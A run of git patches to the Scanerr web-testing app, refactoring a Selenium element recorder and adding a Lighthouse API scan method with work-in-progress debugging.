+                    relative_url = self.get_relative_url(self.driver.current_url)
+
+                    sub_elements.append({
+                        'selector': btn_selector,
+                        'elem_type': 'button',
+                        'placeholder': None,
+                        'value': None,
+                        'type': type,
+                        'data': None,
+                        'elements': None,
+                        'action': 'click',
+                        'path': relative_url,
+                        'img': btn_img,
+                        'elements': None,
+                    })
+
+
+            # save elem data
+            elements.append({
+                'selector': form_selector,
+                'elem_type': 'form',
+                'elem_text': elem_text,
+                'value': None,
+                'type': None,
+                'data': None,
+                'action': None,
+                'path': relative_url,
+                'img': form_img,
+                'elements': sub_elements,
+
+            })
+        
+        # return elements array 
+        return elements
+
+
+
+
+
     def get_elements(self):
 
         # get site page

From 12ecf2dceb8cf15341034ef936e1033a05ad3511 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 15 May 2024 13:10:08 -0600
Subject: [PATCH 0517/1099] fixing the order of stale element checks

---
 app/api/utils/autocaser.py | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index bbef69cf..5ed643cb 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -367,11 +367,6 @@ def record_new_element(self, elem: object, sub_elements: list) -> dict:
                 'added': bool,
             }
         """
-        # get sub element info
-        elem_selector = self.driver.execute_script(self.selector_script, elem)
-        elem_img = self.get_element_image(element=elem)
-        relative_url = self.get_relative_url(self.driver.current_url)
-
         # setting defaults
         run = True
         added = False
@@ -384,6 +379,11 @@ def record_new_element(self, elem: object, sub_elements: list) -> dict:
                 'sub_element': sub_elements
             }
             return data
+
+        # get sub element info
+        elem_selector = self.driver.execute_script(self.selector_script, elem)
+        elem_img = self.get_element_image(element=elem)
+        relative_url = self.get_relative_url(self.driver.current_url)
         
         # found new element, record, click, & continue
         if elem.tag_name == 'a' or elem.tag_name == 'button':
@@ -417,9 +417,9 @@ def record_new_element(self, elem: object, sub_elements: list) -> dict:
         # found new input or textarea
         elif elem.tag_name == 'input' or elem.tag_name == 'textarea':
             
+            # getting element values and type
             type = str(elem.get_attribute('type'))
             value = elem.get_attribute('value')
-            
             if elem.tag_name == 'textarea':
                 type = 'textarea'
 

From 2fc61b2eab1fe54d496e140474ae7b8fdf3deb04 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 15 May 2024 13:16:53 -0600
Subject: [PATCH 0518/1099] fixed keyerror

---
 app/api/utils/autocaser.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index 5ed643cb..04b0d480 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -376,7 +376,7 @@ def record_new_element(self, elem: object, sub_elements: list) -> dict:
             data = {
                 'run': run,
                 'added': added,
-                'sub_element': sub_elements
+                'sub_elements': sub_elements
             }
             return data
 

From 7d16e942a9a321fd6fbcd6f3687e0821a30c3508 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 15 May 2024 13:19:44 -0600
Subject: [PATCH 0519/1099] added new exception handling for
 is_element_visible()

---
 app/api/utils/autocaser.py | 15 +++++++++------
 1 file changed, 9 insertions(+), 6 deletions(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index 04b0d480..75aed8b5 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -162,12 +162,15 @@ def update_process(
 
 
     def is_element_visible(self, element: object) -> bool: 
-        resp = self.driver.execute_script(self.visible_script, element)
-        resp = str(resp).lower()
-        if resp == 'true':
-            return True
-        if resp == 'false':
-            return False
+        try:
+            resp = self.driver.execute_script(self.visible_script, element)
+            resp = str(resp).lower()
+            if resp == 'true':
+                return True
+            if resp == 'false':
+                return False
+        except Exception as e:
+            print(f'is_element_visible() Exception -> {e}')
 
 
 

From 1a113099eb4ac7d4904142f9efa8f854e89d2756 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 15 May 2024 13:30:09 -0600
Subject: [PATCH 0520/1099] fixed spelling

---
 app/api/utils/autocaser.py | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index 75aed8b5..85f6fdff 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -926,14 +926,14 @@ def get_elements(self):
                         elem = priority_elements[
                             random.randint(0, (len(priority_elements) - 1)) if len(priority_elements) > 1 else 0
                         ]
-                        print(f'choose priority element | type -> {elem.tag_name}')
+                        print(f'chose priority element | type -> {elem.tag_name}')
 
                     # choosing a random non-priority element
                     elif len(non_priority_elements) > 0:
                         elem = non_priority_elements[
                             random.randint(0, (len(non_priority_elements) - 1)) if len(non_priority_elements) > 1 else 0
                         ]
-                        print(f'choose non-priority element | type -> {elem.tag_name}')
+                        print(f'chose non-priority element | type -> {elem.tag_name}')
 
                     # returning early if no elem selected
                     if not elem:

From 38dc6ea4122a0c098c603d3e6afca7e5379658af Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 15 May 2024 13:35:47 -0600
Subject: [PATCH 0521/1099] debugging

---
 app/api/utils/autocaser.py | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index 85f6fdff..0073168c 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -170,7 +170,7 @@ def is_element_visible(self, element: object) -> bool:
             if resp == 'false':
                 return False
         except Exception as e:
-            print(f'is_element_visible() Exception -> {e}')
+            print(f'is_element_visible() Exception -> Stale element reference')
 
 
 
@@ -280,6 +280,7 @@ def get_current_elements(self) -> list:
         # then remove duplicates
         for elem in inputs_textareas_buttons:
             if elem in form_elems:
+                print('element already recorded in FORM')
                 inputs_textareas_buttons.remove(elem)
         
         # shuffle elements in place

From 03f49ef28babe43811bb6336361a21d94b945569 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 15 May 2024 13:48:26 -0600
Subject: [PATCH 0522/1099] debugging

---
 app/api/utils/autocaser.py | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index 0073168c..89ebe98c 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -278,11 +278,14 @@ def get_current_elements(self) -> list:
             form_elems += form_buttons
         
         # then remove duplicates
+        print(f'pre len of list -> {len(inputs_textareas_buttons)}')
         for elem in inputs_textareas_buttons:
             if elem in form_elems:
                 print('element already recorded in FORM')
                 inputs_textareas_buttons.remove(elem)
         
+        print(f'post len of list -> {len(inputs_textareas_buttons)}')
+        
         # shuffle elements in place
         random.shuffle(forms)
         random.shuffle(inputs_textareas_buttons)

From f23774fd4f79bf49f2398b8edb514eb2d2d0c668 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 15 May 2024 14:06:56 -0600
Subject: [PATCH 0523/1099] disallowing `input` types for proritization

---
 app/api/utils/autocaser.py | 178 ++++---------------------------------
 1 file changed, 15 insertions(+), 163 deletions(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index 89ebe98c..7b3d5e4b 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -224,18 +224,21 @@ def get_priority_elements(self, elements: list) -> dict:
 
         # checking each element for prioriry words
         for element in elements:
+            
+            # disallowing inputs types due to form conflicts
+            if element.tag_name != 'input':
 
-            # get element's innerText
-            elem_selector = self.driver.execute_script(self.selector_script, element)
-            elm_text = self.driver.execute_script(f'return document.querySelector("{elem_selector}").innerText')
+                # get element's innerText
+                elem_selector = self.driver.execute_script(self.selector_script, element)
+                elm_text = self.driver.execute_script(f'return document.querySelector("{elem_selector}").innerText')
 
-            # check each priority word against element innerText
-            for word in priority_words:
-                if word in elm_text.lower() or elm_text.lower() in word:
-                    priority_elements.append(element)
-                    break
-                elif element not in non_priority_elements:
-                    non_priority_elements.append(element)
+                # check each priority word against element innerText
+                for word in priority_words:
+                    if word in elm_text.lower() or elm_text.lower() in word:
+                        priority_elements.append(element)
+                        break
+                    elif element not in non_priority_elements:
+                        non_priority_elements.append(element)
 
         # if priotity_elements[] is empty
         # look for any forms and add them
@@ -270,10 +273,10 @@ def get_current_elements(self) -> list:
             # form inputs
             form_inputs = form.find_elements(By.TAG_NAME, 'input')
             form_elems += form_inputs
-            # textarea inputs
+            # form textarea
             form_textares = form.find_elements(By.TAG_NAME, 'textarea')
             form_elems += form_textares
-            # textarea inputs
+            # form buttons
             form_buttons = form.find_elements(By.TAG_NAME, 'button')
             form_elems += form_buttons
         
@@ -666,7 +669,6 @@ def record_forms(self, elements: list, form: object=None) -> list:
 
 
 
-
     def get_elements(self):
 
         # get site page
@@ -819,82 +821,6 @@ def get_elements(self):
                     recorded_element = False
                     for elem in cleaned_elements:
 
-                        # get sub element info
-                        # elem_selector = self.driver.execute_script(self.selector_script, elem)
-                        # elem_img = self.get_element_image(element=elem)
-                        # relative_url = self.get_relative_url(self.driver.current_url)
-                        
-                        # # found new element, record, click, & continue
-                        # if elem.tag_name == 'a' or elem.tag_name == 'button':
-
-                        #     # record element
-                        #     sub_elements.append({
-                        #         'selector': elem_selector,
-                        #         'elem_type': elem.tag_name,
-                        #         'placeholder': None,
-                        #         'value': None,
-                        #         'type': None,
-                        #         'data': None,
-                        #         'action': 'click',
-                        #         'path': relative_url,
-                        #         'img': elem_img,
-                        #         'elements': None,
-                        #     })
-
-                        #     # click element
-                        #     try:
-                        #         elem.click()
-                        #     except Exception as e:
-                        #         print('Element not Clickable, removing')
-                        #         sub_elements.pop()
-
-                        #     # add to layers and ending internal loop
-                        #     layers += 1
-                        #     break
-
-                        
-                        # # found new input or textarea
-                        # elif elem.tag_name == 'input' or elem.tag_name == 'textarea':
-                            
-                        #     type = str(elem.get_attribute('type'))
-                        #     value = elem.get_attribute('value')
-                            
-                        #     if elem.tag_name == 'textarea':
-                        #         type = 'textarea'
-
-                        #     # record element
-                        #     sub_elements.append({
-                        #         'selector': elem_selector,
-                        #         'elem_type': elem.tag_name,
-                        #         'placeholder': elem.get_attribute('placeholder'),
-                        #         'value': value,
-                        #         'type': type,
-                        #         'data': self.input_types[type]['test_data'],
-                        #         'action': self.input_types[type]['action'],
-                        #         'path': relative_url,
-                        #         'img': elem_img,
-                        #         'elements': None,
-                        #     })
-                            
-                        #     # add to layers and ending internal loop
-                        #     layers += 1
-                        #     break
-                        
-
-                        # # found new form, record and end run
-                        # elif elem.tag_name == 'form':
-                            
-                            # record form into sub_elements list
-                            # sub_elements = self.record_forms(
-                            #     elements=sub_elements, 
-                            #     form=elem
-                            # )
-
-                            # # add to layers and ending case
-                            # layers += 1
-                            # run = False
-                            # break
-                        
                         # record element and increment if necessary
                         data = self.record_new_element(elem, sub_elements) 
                         run = data['run']
@@ -946,79 +872,6 @@ def get_elements(self):
                         layers += 1
                         run = False
                         break
-
-                    # # get sub element info
-                    # elem_selector = self.driver.execute_script(self.selector_script, elem)
-                    # elem_img = self.get_element_image(element=elem)
-                    # relative_url = self.get_relative_url(self.driver.current_url)
-
-                    # if elem.tag_name == 'a' or elem.tag_name == 'button':
-                    #     # record element
-                    #     sub_elements.append({
-                    #         'selector': elem_selector,
-                    #         'elem_type': elem.tag_name,
-                    #         'placeholder': None,
-                    #         'value': None,
-                    #         'type': None,
-                    #         'data': None,
-                    #         'action': 'click',
-                    #         'path': relative_url,
-                    #         'img': elem_img,
-                    #         'elements': None,
-                    #     })
-
-                    #     # add to layers
-                    #     layers += 1
-
-                    #     # click element
-                    #     try:
-                    #         elem.click()
-                    #     except Exception as e:
-                    #         print('Element not Clickable, removing')
-                    #         sub_elements.pop()
-
-                    
-                    # # found new input or textarea
-                    # elif elem.tag_name == 'input' or elem.tag_name == 'textarea':
-                        
-                    #     type = str(elem.get_attribute('type'))
-                    #     value = elem.get_attribute('value')
-                        
-                    #     if elem.tag_name == 'textarea':
-                    #         type = 'textarea'
-
-                    #     # record element
-                    #     sub_elements.append({
-                    #         'selector': elem_selector,
-                    #         'elem_type': elem.tag_name,
-                    #         'placeholder': elem.get_attribute('placeholder'),
-                    #         'value': value,
-                    #         'type': type,
-                    #         'data': self.input_types[type]['test_data'],
-                    #         'action': self.input_types[type]['action'],
-                    #         'path': relative_url,
-                    #         'img': elem_img,
-                    #         'elements': None,
-                    #     })
-                        
-                    #     # add to layers and ending internal loop
-                    #     layers += 1
-                    #     break
-                        
-                    
-                    # # check the type of element
-                    # elif elem.tag_name == 'form':
-                        # record form into sub_elements list
-                        # sub_elements = self.record_forms(
-                        #     elements=sub_elements,
-                        #     form=elem
-                        # )
-
-                        # # add to layers and ending case
-                        # layers += 1
-                        # run = False
-                        # break
-            
             
                     # record element and increment if necessary
                     data = self.record_new_element(elem, sub_elements) 
@@ -1026,7 +879,6 @@ def get_elements(self):
                     layers += 1 if data['added'] else 0
                     sub_elements = data['sub_elements']
 
-
                     # catching all other situations
                     # naving back to previous_url   
                     if not data['added']:

From fa941122f114c815d03355e62c9233dc111ff303 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 15 May 2024 14:20:24 -0600
Subject: [PATCH 0524/1099] more debugging

---
 app/api/utils/autocaser.py | 17 +++++++++++++++--
 1 file changed, 15 insertions(+), 2 deletions(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index 7b3d5e4b..da4e8950 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -268,6 +268,9 @@ def get_current_elements(self) -> list:
         inputs_textareas_buttons = inputs + textareas + buttons
 
         # get all form inputs, textareas, & buttons
+        pre_itb = []
+        post_itb = []
+        form_selectors = []
         form_elems = []
         for form in forms:
             # form inputs
@@ -279,15 +282,25 @@ def get_current_elements(self) -> list:
             # form buttons
             form_buttons = form.find_elements(By.TAG_NAME, 'button')
             form_elems += form_buttons
+
+        for n in form_elems:
+            form_selectors.append(self.driver.execute_script(self.selector_script, n))
+        
+        for j in inputs_textareas_buttons:
+            pre_itb.append(self.driver.execute_script(self.selector_script, j))
         
         # then remove duplicates
-        print(f'pre len of list -> {len(inputs_textareas_buttons)}')
+        print(f'form list -> {form_selectors}')
+        print(f'pre_itb list -> {pre_itb}')
+
         for elem in inputs_textareas_buttons:
             if elem in form_elems:
                 print('element already recorded in FORM')
                 inputs_textareas_buttons.remove(elem)
         
-        print(f'post len of list -> {len(inputs_textareas_buttons)}')
+        for k in inputs_textareas_buttons:
+            post_itb.append(self.driver.execute_script(self.selector_script, k))
+        print(f'post_itb list -> {post_itb}')
         
         # shuffle elements in place
         random.shuffle(forms)

From 218ff3f6ce7f931aaa93d247fa05e8c69cb1a769 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 15 May 2024 14:32:41 -0600
Subject: [PATCH 0525/1099] fixing duplicate element issue

---
 app/api/utils/autocaser.py | 46 ++++++++++----------------------------
 1 file changed, 12 insertions(+), 34 deletions(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index da4e8950..8bb35e3d 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -224,21 +224,18 @@ def get_priority_elements(self, elements: list) -> dict:
 
         # checking each element for prioriry words
         for element in elements:
-            
-            # disallowing inputs types due to form conflicts
-            if element.tag_name != 'input':
-
-                # get element's innerText
-                elem_selector = self.driver.execute_script(self.selector_script, element)
-                elm_text = self.driver.execute_script(f'return document.querySelector("{elem_selector}").innerText')
+        
+            # get element's innerText
+            elem_selector = self.driver.execute_script(self.selector_script, element)
+            elm_text = self.driver.execute_script(f'return document.querySelector("{elem_selector}").innerText')
 
-                # check each priority word against element innerText
-                for word in priority_words:
-                    if word in elm_text.lower() or elm_text.lower() in word:
-                        priority_elements.append(element)
-                        break
-                    elif element not in non_priority_elements:
-                        non_priority_elements.append(element)
+            # check each priority word against element innerText
+            for word in priority_words:
+                if word in elm_text.lower() or elm_text.lower() in word:
+                    priority_elements.append(element)
+                    break
+                elif element not in non_priority_elements:
+                    non_priority_elements.append(element)
 
         # if priotity_elements[] is empty
         # look for any forms and add them
@@ -268,9 +265,6 @@ def get_current_elements(self) -> list:
         inputs_textareas_buttons = inputs + textareas + buttons
 
         # get all form inputs, textareas, & buttons
-        pre_itb = []
-        post_itb = []
-        form_selectors = []
         form_elems = []
         for form in forms:
             # form inputs
@@ -283,24 +277,8 @@ def get_current_elements(self) -> list:
             form_buttons = form.find_elements(By.TAG_NAME, 'button')
             form_elems += form_buttons
 
-        for n in form_elems:
-            form_selectors.append(self.driver.execute_script(self.selector_script, n))
-        
-        for j in inputs_textareas_buttons:
-            pre_itb.append(self.driver.execute_script(self.selector_script, j))
-        
         # then remove duplicates
-        print(f'form list -> {form_selectors}')
-        print(f'pre_itb list -> {pre_itb}')
-
-        for elem in inputs_textareas_buttons:
-            if elem in form_elems:
-                print('element already recorded in FORM')
-                inputs_textareas_buttons.remove(elem)
-        
-        for k in inputs_textareas_buttons:
-            post_itb.append(self.driver.execute_script(self.selector_script, k))
-        print(f'post_itb list -> {post_itb}')
+        inputs_textareas_buttons = [elem for elem in inputs_textareas_buttons if elem not in form_elems]
         
         # shuffle elements in place
         random.shuffle(forms)

From f34730fdaf39ab2b7e09dd0477a0cd9291040207 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 15 May 2024 16:23:41 -0600
Subject: [PATCH 0526/1099] adding and testing lighthouse_api()

---
 app/api/utils/lighthouse.py | 351 ++++++++++++++++++++++--------------
 app/scanerr/settings.py     |   2 +
 2 files changed, 222 insertions(+), 131 deletions(-)

diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py
index a8e89c73..78689239 100644
--- a/app/api/utils/lighthouse.py
+++ b/app/api/utils/lighthouse.py
@@ -16,8 +16,37 @@ def __init__(self, scan=None, configs=None):
         self.configs = configs
         self.sizes = configs['window_size'].split(',')
 
+        # initial scores object
+        scores = {
+            "seo": None,
+            "accessibility": None,
+            "performance": None,
+            "best-practices": None,
+            "pwa": None,
+            "crux": None,
+            "average": None
+        }
+        
+        # initial audits object
+        audits = {
+            "seo": [],
+            "accessibility": [],
+            "performance": [],
+            "best-practices": [],
+            "pwa": [],
+            "crux": []
+        }
+
     
-    def init_audit(self):
+    def lighthouse_cli(self):
+        """ 
+        Serves as the CLI method for collecting LH metrics.
+        Creates a sub process running lighthouse CLI
+
+        Returns --> raw LH data (Dict)
+        """
+
+        # initiating subprocess for LH CLI
         proc = subprocess.Popen([
                 'lighthouse', 
                 '--config-path=api/utils/custom-config.js',
@@ -30,15 +59,79 @@ def init_audit(self):
                 f'--screenEmulation.{self.configs["device"]}',
                 '--output',
                 'json', 
-                ], 
+            ], 
             stdout=subprocess.PIPE,
             user='app',
         )
+
+        # retrieving data from process
         stdout_value = proc.communicate()[0]
-        return stdout_value
+        
+        # decode bytes into string
+        stdout_string = stdout_value.decode('iso-8859-1')
 
+        # clean string of any errors
+        delm = '{\n  "lighthouseVersion"'
+        stdout_string = delm + stdout_string.split(delm)[1]
 
-    def get_data(self):
+        # encode back to bytes
+        stdout_value = stdout_string.encode('iso-8859-1')
+        
+        # converting stdout str into Dict
+        stdout_json = json.loads(stdout_value)
+        return stdout_json
+
+
+
+
+    def lighthouse_api(self) -> dict:
+        """ 
+        Serves as the API method for collecting LH metrics.
+        Sends API requests to 
+
+        Returns --> raw LH data (Dict)
+        """
+
+        # defaults
+        headers = {
+            "content-type": "application/json",
+        }
+        params = {
+            "url": self.page.page_url,
+            "category": "accessibility",
+            "category": "best-practices",
+            "category": "performance",
+            "category": "pwa",
+            "category": "seo",
+            "strategy": self.configs["device"],
+            "key": settings.GOOGLE_CRUX_KEY
+        }
+
+        # setting up initial request
+        res = requests.get(
+            url=f'{settings.LIGHTHOUSE_ROOT}',
+            params=params,
+            headers=headers
+        ).json()
+
+        # try to get just LH response
+        res = res.get('lighthouseResult')
+
+        # return response
+        return res
+
+
+
+    def process_data(self, stdout_json: dict) -> dict:
+        """ 
+        Accepts JSON data from either CLI or API method 
+        and parses into usable Scanerr data.
+
+        Expects the following:
+            stdout_json: <dict> or json from output
+            
+        Returns --> formatted LH data <dict> 
+        """
 
         # setup boto3 configurations
         s3 = boto3.client(
@@ -48,138 +141,134 @@ def get_data(self):
             endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
         )
 
+        # iterating through categories to get relevant lh_audits 
+        # and store them in their respective `audits = {}` obj
+        for cat in self.audits:
+            # skipping non-existent cat
+            if stdout_json["categories"].get(cat) is None:
+                continue
+            cat_audits = stdout_json["categories"].get(cat).get("auditRefs")
+            if cat_audits is not None:
+                for a in cat_audits:
+                    if int(a["weight"]) > 0:
+                        audit = stdout_json["audits"][a["id"]]
+                        self.audits[cat].append(audit)
+       
+        # get scores from each category
+        for key in self.scores:
+            self.scores[key] = round(stdout_json["categories"][key]["score"])
+        
+        # get scores from each category
+        # seo_score = round(stdout_json["categories"]["seo"]["score"] * 100)
+        # accessibility_score = round(stdout_json["categories"]["accessibility"]["score"] * 100)
+        # performance_score = round(stdout_json["categories"]["performance"]["score"] * 100)
+        # best_practices_score = round(stdout_json["categories"]["best-practices"]["score"] * 100)
+        # pwa_score = round(stdout_json["categories"]["pwa"]["score"] * 100)
+
+        # changing audits & score names
+        self.scores['best_practices'] = self.scores.pop('best-practices')
+        self.audits['best_practices'] = self.audits.pop('best-practices')
+        self.audits['crux'] = self.audits.pop('lighthouse-plugin-crux')
+       
+        
+        # attempting crux
         try:
-            stdout_value = self.init_audit() 
-            # decode bytes into string
-            stdout_string = stdout_value.decode('iso-8859-1')
+            crux_score = round(stdout_json["categories"]["lighthouse-plugin-crux"]["score"] * 100)
+        except:
+            crux_score = 0
 
-            # clean string of any errors
-            delm = '{\n  "lighthouseVersion"'
-            stdout_string = delm + stdout_string.split(delm)[1]
+        # dynamically calculating average
+        if crux_score == 0 :
+            crux_score = None
+            average_score = round((
+                    seo_score + accessibility_score + performance_score 
+                    + best_practices_score + pwa_score
+                )/ 5)
+        else:
+            average_score = round((
+                    seo_score + accessibility_score + performance_score 
+                    + best_practices_score + pwa_score + crux_score
+                )/ 6)
 
-            # encode back to bytes
-            stdout_value = stdout_string.encode('iso-8859-1')
+        # # updating global scores
+        # self.scores = {
+        #     "seo": seo_score,
+        #     "accessibility": accessibility_score,
+        #     "performance": performance_score,
+        #     "best_practices": best_practices_score,
+        #     "pwa": pwa_score,
+        #     "crux": crux_score,
+        #     "average": average_score
+        # }
 
+        # save audits data as json file
+        file_id = uuid.uuid4()
+        with open(f'{file_id}.json', 'w') as fp:
+            json.dump(self.audits, fp)
         
-            if len(stdout_string) != 0:
-                if 'Runtime error encountered' in stdout_string:
-                    error = {'error': 'lighthouse ran into a problem',}
-                    return error
-
-                stdout_json = json.loads(stdout_value)
-
-                # initial audits object
-                audits = {
-                    "seo": [],
-                    "accessibility": [],
-                    "performance": [],
-                    "best-practices": [],
-                    "lighthouse-plugin-crux": [],
-                    "pwa": []
-                }
-
-                # iterating through categories to get relevant lh_audits 
-                # and store them in their respective `audits = {}` obj
-                for cat in audits:
-                    cat_audits = stdout_json["categories"].get(cat).get("auditRefs")
-                    if cat_audits is not None:
-                        for a in cat_audits:
-                            if int(a["weight"]) > 0:
-                                audit = stdout_json["audits"][a["id"]]
-                                audits[cat].append(audit)
-                # changing audits names
-                audits['best_practices'] = audits.pop('best-practices')
-                audits['crux'] = audits.pop('lighthouse-plugin-crux')
-                
-                # get scores from each category
-                seo_score = round(stdout_json["categories"]["seo"]["score"] * 100)
-                accessibility_score = round(stdout_json["categories"]["accessibility"]["score"] * 100)
-                performance_score = round(stdout_json["categories"]["performance"]["score"] * 100)
-                best_practices_score = round(stdout_json["categories"]["best-practices"]["score"] * 100)
-                pwa_score = round(stdout_json["categories"]["pwa"]["score"] * 100)
-                
-                # attempting crux
-                try:
-                    crux_score = round(stdout_json["categories"]["lighthouse-plugin-crux"]["score"] * 100)
-                except:
-                    crux_score = 0
-
-                if crux_score == 0 :
-                    crux_score = None
-                    average_score = round((
-                            seo_score + accessibility_score + performance_score 
-                            + best_practices_score + pwa_score
-                        )/ 5)
-                else:
-                    average_score = round((
-                            seo_score + accessibility_score + performance_score 
-                            + best_practices_score + pwa_score + crux_score
-                        )/ 6)
-
-                scores = {
-                    "seo": seo_score,
-                    "accessibility": accessibility_score,
-                    "performance": performance_score,
-                    "best_practices": best_practices_score,
-                    "pwa": pwa_score,
-                    "crux": crux_score,
-                    "average": average_score
-                }
-
-                # save audits data as json file
-                file_id = uuid.uuid4()
-                with open(f'{file_id}.json', 'w') as fp:
-                    json.dump(audits, fp)
+        # upload to s3 and return url
+        audit_file = os.path.join(settings.BASE_DIR, f'{file_id}.json')
+        remote_path = f'static/sites/{self.site.id}/{self.page.id}/{self.scan.id}/{file_id}.json'
+        root_path = settings.AWS_S3_URL_PATH
+        audits_url = f'{root_path}/{remote_path}'
+    
+        # upload to s3
+        with open(audit_file, 'rb') as data:
+            s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), 
+                remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "application/json"}
+            )
+        # remove local copy
+        os.remove(audit_file)
+
+        # updating opjects
+        self.audits = audits_url
+
+        data = {
+            "scores": self.scores, 
+            "audits": self.audits,
+            "failed": False
+        }
+
+        # returning data 
+        return data
+
+
+    
+    def get_data(self):
+
+        scan_complete = False
+        failed = None
+        attempts = 0
+        
+        # trying lighthouse scan untill success or 2 attempts
+        while not scan_complete and attempts < 2:
+
+            try:
+                # CLI on first attempt
+                if attempts < 1:
+                    # raw_data = self.lighthouse_cli()
+                    raw_data = self.lighthouse_api()
+                    self.process_data(stdout_json=raw_data)
                 
-                # upload to s3 and return url
-                audit_file = os.path.join(settings.BASE_DIR, f'{file_id}.json')
-                remote_path = f'static/sites/{self.site.id}/{self.page.id}/{self.scan.id}/{file_id}.json'
-                root_path = settings.AWS_S3_URL_PATH
-                audits_url = f'{root_path}/{remote_path}'
+                # API after first attempt
+                if attempts >= 1:
+                    raw_data = self.lighthouse_api()
+                    self.process_data(stdout_json=raw_data)
+
+                scan_complete = True
+                failed = False
+
+            except Exception as e:
+                print(f'LIGHTHOUSE FAILED (attempt {attempts}) --> {e}')
+                scan_complete = False
+                failed = True
+                attempts += 1
+
+        data = {
+            "scores": self.scores, 
+            "audits": self.audits,
+            "failed": failed
+        }
             
-                # upload to s3
-                with open(audit_file, 'rb') as data:
-                    s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), 
-                        remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "application/json"}
-                    )
-                # remove local copy
-                os.remove(audit_file)
-
-                data = {
-                    "scores": scores, 
-                    "audits": audits_url,
-                    "failed": False
-                }
-
-            else:
-                raise RuntimeError
-        
-        except Exception as e:
-            print(e)
-
-            scores = {
-                "seo": None,
-                "accessibility": None,
-                "performance": None,
-                "best_practices": None,
-                "pwa": None,
-                "crux": None,
-                "average": None
-            }
-
-            audits = {
-                "seo": [],
-                "accessibility": [],
-                "performance": [],
-                "best_practices": [],
-                "pwa": [],
-                "crux": []
-            }
-
-            data = {
-                "scores": scores, 
-                "audits": audits,
-                "failed": True
-            }
-        
+        # returning final data
         return data
diff --git a/app/scanerr/settings.py b/app/scanerr/settings.py
index 4055b193..47617db7 100644
--- a/app/scanerr/settings.py
+++ b/app/scanerr/settings.py
@@ -29,6 +29,8 @@
 LANDING_API_KEY = os.environ.get('LANDING_API_KEY')
 API_URL_ROOT = os.environ.get('API_URL_ROOT')
 YELLOWLAB_ROOT = os.environ.get('YELLOWLAB_ROOT')
+LIGHTHOUSE_ROOT = os.environ.get('LIGHTHOUSE_ROOT')
+GOOGLE_CRUX_KEY = os.environ.get('GOOGLE_CRUX_KEY')
 CORS_ORIGIN_ALLOW_ALL = True
 DATA_UPLOAD_MAX_MEMORY_SIZE = 5242880
 

From 917884fdf5e25144b438586dd9b8d96385552fe8 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 15 May 2024 16:26:48 -0600
Subject: [PATCH 0527/1099] fixed object issue

---
 app/api/utils/lighthouse.py | 22 ++--------------------
 1 file changed, 2 insertions(+), 20 deletions(-)

diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py
index 78689239..fbfa7192 100644
--- a/app/api/utils/lighthouse.py
+++ b/app/api/utils/lighthouse.py
@@ -17,7 +17,7 @@ def __init__(self, scan=None, configs=None):
         self.sizes = configs['window_size'].split(',')
 
         # initial scores object
-        scores = {
+        self.scores = {
             "seo": None,
             "accessibility": None,
             "performance": None,
@@ -28,7 +28,7 @@ def __init__(self, scan=None, configs=None):
         }
         
         # initial audits object
-        audits = {
+        self.audits = {
             "seo": [],
             "accessibility": [],
             "performance": [],
@@ -157,13 +157,6 @@ def process_data(self, stdout_json: dict) -> dict:
         # get scores from each category
         for key in self.scores:
             self.scores[key] = round(stdout_json["categories"][key]["score"])
-        
-        # get scores from each category
-        # seo_score = round(stdout_json["categories"]["seo"]["score"] * 100)
-        # accessibility_score = round(stdout_json["categories"]["accessibility"]["score"] * 100)
-        # performance_score = round(stdout_json["categories"]["performance"]["score"] * 100)
-        # best_practices_score = round(stdout_json["categories"]["best-practices"]["score"] * 100)
-        # pwa_score = round(stdout_json["categories"]["pwa"]["score"] * 100)
 
         # changing audits & score names
         self.scores['best_practices'] = self.scores.pop('best-practices')
